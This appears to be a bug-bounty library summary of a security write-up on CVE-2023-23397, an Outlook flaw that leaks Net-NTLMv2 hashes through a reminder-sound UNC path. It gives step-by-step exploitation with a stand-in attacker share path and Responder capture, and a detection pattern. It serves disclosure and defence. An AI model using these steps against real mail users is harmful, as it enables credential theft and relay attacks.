# Everything We Know About CVE-2023-23397

Outlook reminder sound property set to a UNC path leaks Net-NTLMv2 hashes to attacker SMB server with zero user interaction.

- Payout: Real-world hack
- Severity: critical
- Program: Microsoft Outlook
- Credited: Huntress
- Disclosed: 2023-03-17
- CVE: CVE-2023-23397
- Write-up quality: 7/10
- Original: https://www.huntress.com/blog/everything-we-know-about-cve-2023-23397
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-everything-we-know-about-cve-2023-23397
- Tags: domain:desktop impact:data-leak impact:privesc kind:incident platform:threat-intel sev:critical tech:email tech:windows technique:chained vuln:info-disclosure vuln:secrets-leak

**Target:** Outlook calendar appointment .MSG MAPI properties
**Root cause:** PidLidReminderFileParameter accepts a remote UNC path for the reminder sound; when the reminder fires, Outlook fetches the .WAV over SMB, performing NTLM authentication to the attacker host.
**Steps:**
1. Craft .MSG calendar appointment with MsgKit
2. Set PidLidReminderFileParameter to `\\attacker\share\x.wav` and PidLidReminderOverride=true
3. Set reminder to 0 minutes so it fires immediately
4. Email the invite to victim (no open needed)
5. Outlook spawns `rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie [REMOTE-HOST] http://[REMOTE-HOST]/[SHARE]/.WAV`
6. Capture Net-NTLMv2 hash with Responder on attacker host
**How found:** Huntress tracked the 0-day, recreated PoC via MsgKit, and used ProcMon to observe svchost.exe spawning rundll32.exe davclnt.dll DavSetCookie with WebDAV URL and .WAV suffix.
**Exploitation:** Attacker sends malicious calendar invite; reminder notification triggers Outlook to authenticate to attacker-controlled SMB/WebDAV host, leaking Net-NTLMv2 hash usable for pass-the-hash, relay, or offline cracking.
**Escalation:** Leaked hashes enable pass-the-hash, NTLM relay, privilege escalation, and further environment compromise.
**Insight:** Reminder/notification sound and other media-fetch properties in mail clients can be coerced into UNC/WebDAV fetches; watch for rundll32 davclnt.dll DavSetCookie spawning from svchost with .WAV-appended URLs as a high-fidelity detection.